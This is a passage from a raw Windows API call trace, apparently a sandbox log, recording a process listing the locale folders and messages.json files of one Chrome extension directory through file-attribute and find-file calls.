	[0066.356] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_us"), fInfoLevelId=0x0, lpFileInformation=0x127dbef8 | out: lpFileInformation=0x127dbef8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865396d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865396d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865396d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.356] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.356] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865396d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865396d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865396d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.357] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865396d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865396d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865396d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.357] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x865396d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86539ea0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
	[0066.357] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.357] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.357] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_us\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x127dbf98 | out: lpFileInformation=0x127dbf98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x865396d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86539ea0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd1)) returned 1
	[0066.358] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es"), fInfoLevelId=0x0, lpFileInformation=0x123fc058 | out: lpFileInformation=0x123fc058*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865396d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865396d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865396d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.358] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.358] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865396d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865396d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865396d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.359] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865396d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865396d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865396d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.359] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x865396d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86539ea0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xce, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
	[0066.359] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.359] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.359] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x123fc148 | out: lpFileInformation=0x123fc148*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x865396d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86539ea0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xce)) returned 1
	[0066.359] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419"), fInfoLevelId=0x0, lpFileInformation=0x123fc198 | out: lpFileInformation=0x123fc198*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865396d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865396d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865396d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.359] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.359] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865396d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865396d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865396d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.359] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865396d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865396d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865396d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.359] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x865396d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86539ea0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xce, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
	[0066.359] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.359] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.360] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x123fc238 | out: lpFileInformation=0x123fc238*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x865396d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86539ea0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xce)) returned 1
	[0066.360] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et"), fInfoLevelId=0x0, lpFileInformation=0x123fc288 | out: lpFileInformation=0x123fc288*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655f830, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8655f830, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.361] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.361] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655f830, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8655f830, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.361] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655f830, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8655f830, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.361] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655e890, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
	[0066.361] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.361] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.361] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x123fc378 | out: lpFileInformation=0x123fc378*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655e890, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd8)) returned 1
	[0066.361] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi"), fInfoLevelId=0x0, lpFileInformation=0x123fc3c8 | out: lpFileInformation=0x123fc3c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655f830, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8655f830, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.361] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.361] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655f830, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8655f830, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.362] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655f830, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8655f830, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.362] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655e890, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
	[0066.362] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.362] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.362] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x123fc468 | out: lpFileInformation=0x123fc468*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655e890, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd8)) returned 1
	[0066.363] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil"), fInfoLevelId=0x0, lpFileInformation=0x123fc4b8 | out: lpFileInformation=0x123fc4b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655f830, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8655f830, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.363] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.363] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655f830, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8655f830, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.363] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655f830, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8655f830, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
